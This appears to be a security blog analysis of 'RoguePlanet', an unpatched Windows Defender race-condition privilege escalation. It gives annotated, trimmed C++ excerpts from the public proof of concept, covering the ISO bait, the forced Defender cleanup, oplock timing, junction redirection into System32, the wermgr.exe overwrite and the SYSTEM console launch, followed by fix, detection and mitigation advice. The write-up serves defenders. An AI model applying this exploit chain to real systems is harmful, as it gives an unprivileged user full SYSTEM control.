RoguePlanet: racing Windows Defender's own cleanup into a SYSTEM shell

TL;DR

• RoguePlanet is a local privilege escalation that turns Microsoft Defender's malware remediation into an attacker-controlled file write. Drop a bait file, make Defender clean it up as `NT AUTHORITY\SYSTEM`, and redirect that privileged write into `C:\Windows\System32\wermgr.exe`. Then ask Windows Error Reporting to run it for you.
• Who's affected: fully patched Windows 10 and Windows 11 (the author tested Official and Canary, with the June 2026 updates installed). The public PoC needs the user to mount an ISO, so it doesn't fire on Windows Server out of the box — but that's a packaging limit, not a property of the bug.
• How bad: unprivileged user → interactive SYSTEM shell, on default Defender config. It's a race, so it's probabilistic: the author reports 100% on some boxes and flaky on others.
• Patched? No. As of June 10, 2026 there is no CVE, no advisory, and no patch. It was dropped on June 9, hours after Patch Tuesday closed two other bugs from the same researcher.
• Code excerpts below are from the public PoC by Nightmare Eclipse (github.com/MSNightmare/RoguePlanet), trimmed and annotated. I'm explaining the mechanism, not handing you a tuned weapon.

Where this one comes from

For two months, a researcher going by Nightmare Eclipse (also "Chaotic Eclipse," the GitHub handle MSNightmare) has been dropping Windows zero-days on a roughly weekly cadence, each one a small monument to a grudge against Microsoft's response process. The pattern is consistent: publish a working PoC, watch Microsoft scramble, repeat. The repos keep getting pulled from GitHub and GitLab, so the author moved to self-hosting.

A chunk of that output hammers one specific idea: Microsoft Defender does privileged file I/O on attacker-controlled paths, and it can be raced. That sub-family runs BlueHammer → RedSun → RoguePlanet.

BlueHammer is the anchor: CVSS 7.8, "a race condition in Windows Defender's file remediation logic, which can be exploited to overwrite arbitrary files." Microsoft patched it on April 14 and — pointedly — credited the CVE to two other researchers, which the dropper took as a personal insult and folded into the public narrative. RedSun shifted to abusing Defender's habit of restoring cloud-tagged files it had just quarantined ("the antivirus that's supposed to protect decides that it is a good idea to just rewrite the file it found again," as the author put it).

RoguePlanet is the same family's third act. It reportedly started life as something scarier — remote code execution against Defender's handling of remote SMB-hosted .vhd(x) files — until Microsoft quietly hardened the mpengine!SysIO* path in mid-May to block junction tricks over that vector. What's left, and what got published, is the local variant. Still SYSTEM. Still unpatched.

No confirmed in-the-wild use of RoguePlanet yet; it's barely a day old. Its predecessors were seen in real intrusions within days of release, so that grace period is probably short.

The thing Defender does that it shouldn't

Strip away the theatrics and the bug is an old friend: time-of-check to time-of-use on a privileged file operation.

Defender's scanning engine lives in MsMpEng.exe, the Antimalware Service Executable, running as SYSTEM. When it decides a file is malicious and chooses to remediate — delete it, quarantine it, move it aside — it does that work as SYSTEM, against a path. The path was a safe, user-owned location when Defender checked it. The bug is that nothing pins the path between that check and the actual write. If you can change what the path means in the window between "Defender looked" and "Defender writes," Defender writes wherever you point it.

There's no patch, so there's no diff to read. But the shape of the flaw is clear from how the exploit drives it, and from what Microsoft did fix in May. The mid-May hardening added blocking in mpengine's SysIO layer specifically to stop junctions from redirecting Defender's I/O on the remote-file path. That tells you two things: Microsoft knows reparse-point traversal during remediation is the problem, and they fixed it in one spot (remote .vhdx) while leaving the general local case open. RoguePlanet walks through the door they left ajar.

The rest of the exploit is engineering — and the engineering is genuinely nice work, so let's walk it.

Building blocks

The PoC assembles a handful of legitimate Windows features into a clock and a switch. The clock tells the attacker the exact instant Defender touches the file; the switch redirects the path at that instant.

A note on scale before we read code: RoguePlanet.cpp is 79,000 lines and 5.8 MB, but ~77,000 of those are pasted ntdll struct/enum definitions plus a 917,504-byte embedded ISO baked into a rawData[] array. The actual exploit is about 1,400 lines at the bottom. The EICAR signature never appears in cleartext in the source — it lives inside the ISO blob, so the .cpp itself doesn't trip an AV scanner. Small touch, but it tells you the author has done this before.

Loading image…

1. An immutable bait file on a read-only ISO

The exploit writes its embedded ISO to %TEMP% and attaches it read-only, with no drive letter:

// from MountISO(), RoguePlanet PoC (MSNightmare), trimmed
WriteFile(hf, rawData, sizeof(rawData), &dwbytes, NULL);   // rawData[917504] = embedded .iso
// ...
VIRTUAL_STORAGE_TYPE vst = { VIRTUAL_STORAGE_TYPE_DEVICE_ISO, VIRTUAL_STORAGE_TYPE_VENDOR_MS };
OpenVirtualDisk(&vst, target, VIRTUAL_DISK_ACCESS_ATTACH_RO | ..., 0, NULL, &hvirtdisk);
AttachVirtualDisk(hvirtdisk,
    NULL,
    ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER,  // <-- read-only, \Device\CdRomN
    NULL, NULL, NULL);

Why an ISO? Two reasons. The bait wermgr.exe on it is an EICAR file Defender will always flag, and because the volume is read-only, Defender cannot delete the original — so the attacker can re-create the on-disk copy of the bait and re-run the race as many times as it takes. The mount also hands the attacker a stable \Device\CdRomN path to use as a junction target.

This is also exactly why the PoC dies on Windows Server: standard users there can't mount ISOs. The README is candid that this is a packaging limitation — "all Windows Server installations are vulnerable as well, you just need to redesign the exploit." Believe that or not, but the bug isn't ISO-shaped; the delivery is.

2. The bait, and a stream to listen on

WriteEicar drops wermgr.exe (the EICAR bytes, copied off the ISO) into the work directory, then bolts on an alternate data stream named :WDFOO:

// from WriteEicar(), RoguePlanet PoC (MSNightmare), trimmed
wsprintf(eicarpath, L"%s\\wermgr.exe", workdir);
// ... write EICAR content into wermgr.exe ...

RtlInitUnicodeString(&adsname, L":WDFOO");
InitializeObjectAttributes(&objattr2, &adsname, OBJ_CASE_INSENSITIVE, hfile, NULL);  // ADS on the bait
NtCreateFile(&hstream, GENERIC_WRITE | SYNCHRONIZE, &objattr2, ..., FILE_CREATE, ...);
WriteFile(hstream, eicar2, 0x1000, &writtenbytes, &ovp);  // 4 KB of filler

The stream isn't malware. It's a handle to hang an oplock on later — a quiet side channel on the same file Defender is about to touch.

3. Summon the privileged operation on demand

Here's the move that makes this reliable enough to be worth publishing. Instead of waiting for real-time protection to notice the bait on its own schedule, the exploit loads MpClient.dll straight out of Defender's install directory and calls the undocumented client API to drive a targeted scan and then a cleanup, synchronously:

// from WDStartScan(), RoguePlanet PoC (MSNightmare), trimmed
MpManagerOpen(NULL, &hbinding);                 // open the Defender RPC interface

MPRESOURCE_INFO scaninfo = { 0 };
scaninfo.Scheme = (wchar_t*)L"file";
scaninfo.Path   = zippath;                       // %TEMP%\RP_<guid>\System32\wermgr.exe
MPSCAN_RESOURCES scanrsrc = { 1, &scaninfo };

MpScanStart(hbinding, MPSCAN_TYPE_RESOURCE, 0x60004000, &scanrsrc, NULL, &scanctx);
MpScanResult(scanctx, scanres);
MpThreatOpen(scanctx, MPTHREAT_SOURCE_SCAN, MPTHREAT_TYPE_KNOWNBAD, &threatctx);
MpThreatEnumerate(threatctx, &tinfo);            // confirm: yes, EICAR, known-bad

void** ret = NULL;
MpCleanOpen(scanctx, NULL, &ret);
MpCleanStart(ret, NULL, callbackaddr);           // <-- SYSTEM-side remediation. THIS is what we race.

MpCleanStart is the privileged remediation. It runs inside MsMpEng.exe, as SYSTEM, and it's the operation whose path the attacker is about to yank. Driving it directly — rather than waiting for a background scan — means the attacker knows precisely when the clock starts.

4. A clock built from a shadow copy and an oplock

To land a race you need to know the instant the victim acts. The exploit gets that by finding a fresh Volume Shadow Copy, opening the shadow copy of wermgr.exe:WDFOO, and requesting a read-handle oplock on it:

// main(), RoguePlanet PoC (MSNightmare), trimmed
opin.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
opin.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
// hvss = \Device\HarddiskVolumeShadowCopyN\...\wermgr.exe:WDFOO
DeviceIoControl(hvss, FSCTL_REQUEST_OPLOCK, &opin, sizeof(opin), &opout, sizeof(opout), &cb, &ovoplock);
WaitForSingleObject(ovoplock.hEvent, INFINITE);   // sleeps until Defender's access breaks the oplock

When Defender opens the file to remediate it, the oplock breaks and the WaitForSingleObject returns. That's the starting gun. Oplocks as a TOCTOU trigger is a well-worn technique in Windows local-EoP work — James Forshaw's symbolic-link tooling made it standard — and here it's pointed at an antivirus engine instead of a service.

The shadow copy is the clever bit: it gives the attacker a second, independent path to the same file content to oplock, so listening on the file doesn't interfere with the handle semantics Defender needs on the live copy.

5. Flip the switch

Once the oplock says "Defender is in the file now," the exploit relocates the real directory out from under it (by handle, because the path is busy) and drops a junction in its place. Creating the junction is a plain reparse-point write:

// from CreateJunction(), RoguePlanet PoC (MSNightmare), trimmed
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;                  // a junction
memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
DeviceIoControl(hdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, &ov);

And the moves that get locked directories out of the way use rename-by-handle with the flags that ignore read-only and replace-if-exists, retrying through sharing violations:

// from MoveToTempDir(), RoguePlanet PoC (MSNightmare), trimmed
fri->Flags = 0x00000001 | 0x00000040;   // FILE_RENAME_REPLACE_IF_EXISTS | FILE_RENAME_IGNORE_READONLY_ATTRIBUTE
do {
    NTSTATUS stat = _NtSetInformationFile(hobj, &iostat, fri, ..., FileRenameInformationEx);
    if (stat == STATUS_SUCCESS) return true;
    if (stat == STATUS_SHARING_VIOLATION) continue;   // spin until the directory frees up
    ...
} while (1);

The directory tree the exploit built mirrors …\System32\wermgr.exe. The final junction re-points the top of that tree at C:\Windows:

// main(), RoguePlanet PoC (MSNightmare), trimmed
GetWindowsDirectory(__tmp, MAX_PATH);
wchar_t dest[MAX_PATH] = { L"\\??\\" };
wcscat(dest, __tmp);                  // \??\C:\Windows
CreateJunction(hparent, dest);        // %TEMP%\RP_<guid>  ==>  C:\Windows

So %TEMP%\RP_<guid>\System32\wermgr.exe, the path Defender thinks it's cleaning, now resolves to C:\Windows\System32\wermgr.exe. When Defender's SYSTEM-side remediation performs its write against the re-resolved path, it lands the attacker's file — a copy of the exploit binary — on top of the real Windows Error Reporting Manager. Arbitrary file write as SYSTEM, achieved by asking the antivirus nicely and moving the floor while it works.

To make all of this land on a real machine, where the race window can be microscopic, the PoC spawns one stress thread per CPU that hammers BCryptGenRandom and WriteFile against a throwaway file, plus runs itself at HIGH_PRIORITY_CLASS / THREAD_PRIORITY_TIME_CRITICAL. Themed, naturally — the threads are named Poseidon. It's the unglamorous half of every race exploit: make the box busy enough that the window you need actually opens.

6. Cash out through Windows Error Reporting

A planted binary does nothing until something runs it. wermgr.exe is a great choice because Windows ships a scheduled task that runs it as SYSTEM on demand — \Microsoft\Windows\Windows Error Reporting\QueueReporting. The exploit just asks Task Scheduler to run it:

// main(), RoguePlanet PoC (MSNightmare), trimmed
pTaskSvc->GetFolder(L"\\Microsoft\\Windows\\Windows Error Reporting", &taskfolder);
taskfolder->GetTask(L"QueueReporting", &taskex);
// the author's own comment here is worth leaving in:
//   "I really hate doing this, I really do, but I don't have any choices ...
//    why do you keep doing this to me..."
taskex->Run(_variant_t(), &runningtask);   // runs C:\Windows\System32\wermgr.exe as SYSTEM

wermgr.exe is now the exploit binary. When it starts as SYSTEM it takes a different branch: it detects its own SYSTEM token, connects back to a named pipe the unprivileged instance left listening, learns which session the user is sitting in, and spawns a console there as SYSTEM:

// from main() + LaunchConsoleInSessionId(), RoguePlanet PoC (MSNightmare), trimmed
if (IsRunningAsLocalSystem()) {                                   // SYSTEM branch
    HANDLE hclient = CreateFile(L"\\\\.\\pipe\\RoguePlanet", ...);
    GetNamedPipeServerSessionId(hclient, &sesid);                // which desktop is the user on?
    LaunchConsoleInSessionId(sesid);
}
// ...
DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));  // move SYSTEM into the user's session
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", ...);  // SYSTEM shell on the user's screen

That's the whole chain: bait, summon, time it, redirect, plant, run. A standard user types one command and gets a SYSTEM console on their own desktop.

Impact and preconditions, honestly

This is a clean local privilege escalation to SYSTEM. No memory corruption, no kernel exploit, no ROP — it's all legitimate Windows features pointed at a confused, over-privileged deputy. It shrugs off the usual exploit-mitigation stack, and it's hard to kill without changing how Defender itself behaves.

The honest caveats:

• It's local. You need code execution as an unprivileged user first. This is an escalation primitive, not an initial-access one. (The SMB/.vhdx RCE ancestor was the scary one; Microsoft cut that vector in May.)
• It's a race. Probabilistic by nature. The author claims 100% on some hardware and unreliable on others, and muses that a redesign could make it deterministic. More cores help the attacker, not you.
• The public PoC needs ISO mounting, which standard users can do on Windows 10/11 client but not on Server. So as-shipped it's a client-only exploit. Don't read that as "Server is safe" — read it as "this packaging doesn't run there."
• Default Defender config is enough. No special policy, no third-party AV, no exotic feature flags. If Microsoft Defender is your antivirus and it remediates files — which is the entire point of an antivirus — the sink is present.

There is no fix yet

As of June 10, 2026 there's no CVE, no advisory, and no patch. Microsoft's May hardening of mpengine!SysIO* closed the remote junction vector and nothing more; the local race survived it. Given the BlueHammer cadence — public PoC, in-the-wild within days, patch at the next Patch Tuesday or out-of-band — expect movement quickly, but right now defenders are on their own.

A real fix has to make remediation stop trusting the path. The right primitives already exist in Windows: open the target by handle once and operate on that handle instead of re-resolving the path; refuse to traverse reparse points during a privileged delete/move (FILE_FLAG_OPEN_REPARSE_POINT and friends, or an explicit "no junctions in this path" check); or perform the cleanup impersonating the user who owns the file rather than as raw SYSTEM. Antivirus vendors have relearned this lesson repeatedly — the entire "self-defense bypass via symlink" genre is the same bug — and it keeps coming back because remediation is, structurally, a privileged process writing to wherever the malware happened to be.

Detection and mitigation

You don't need to wait for a patch to reduce the risk posed by this vulnerability.

Application allowlisting is the clean kill. The whole chain ends in running a dropped executable. WDAC or AppLocker that only permits known-good, properly-signed binaries stops the planted wermgr.exe from executing even after it's written — and it's been demonstrated to block this exploit. If you run an allowlist, RoguePlanet fizzles at the last step. If you don't, this is one more argument to start.

Hunt for the tells. The interesting signal is wermgr.exe behaving like it isn't wermgr.exe: a write to System32\wermgr.exe from anything that isn't a Windows servicing component, or wermgr.exe spawning a shell or conhost.exe. That masquerade has prior art — CVE-2023-36874 abused fake wermgr.exe creation too — so the community Sigma rules for "fake wermgr.exe" and "suspicious child process of wermgr.exe" already cover the payoff stage. Pair that with: a Defender EICAR detection whose path sits under %TEMP%, immediately followed by the WER QueueReporting task firing. That sequence has no benign reason to happen.

The PoC also leaves behavioral artifacts. Treat these as fingerprints of this build, not durable IOCs — every one of them is a one-line change for the attacker — but they're cheap to watch for:

Reduce the surface. If standard users have no business mounting ISOs in your environment, take it away (Group Policy / mount-deny on vds-driven attaches); it removes this PoC's delivery wholesale. Microsoft's attack-surface-reduction rules around credential and LOLBin abuse won't catch the race itself but will narrow what the SYSTEM shell can do next.

Takeaways

The lesson isn't "Defender is insecure." It's that a security product is a privileged process that, by design, reaches into untrusted locations and writes there — quarantine, restore, delete, repair. That is a TOCTOU sink wearing a badge. Every antivirus has shipped some version of this bug, because the job description is the vulnerable pattern, and the only durable fix is to make the privileged half stop trusting paths it validated a moment ago.

Two things make RoguePlanet worth your attention beyond the novelty. First, it's a tidy demonstration that you don't need a kernel bug to reach SYSTEM on a fully-patched 2026 Windows box — six legitimate features, composed well, are plenty. Second, it's unpatched and public, written by someone who has already shown they'll keep going and that their PoCs reach real attackers fast.  The defensive answer doesn't depend on the patch: allowlist what runs, monitor wermgr.exe for abnormal behavior, and treat a %TEMP%-path EICAR hit followed by a WER task run as a likely exploitation attempt  

References

• Nightmare Eclipse, RoguePlanet PoC and README — github.com/MSNightmare/RoguePlanet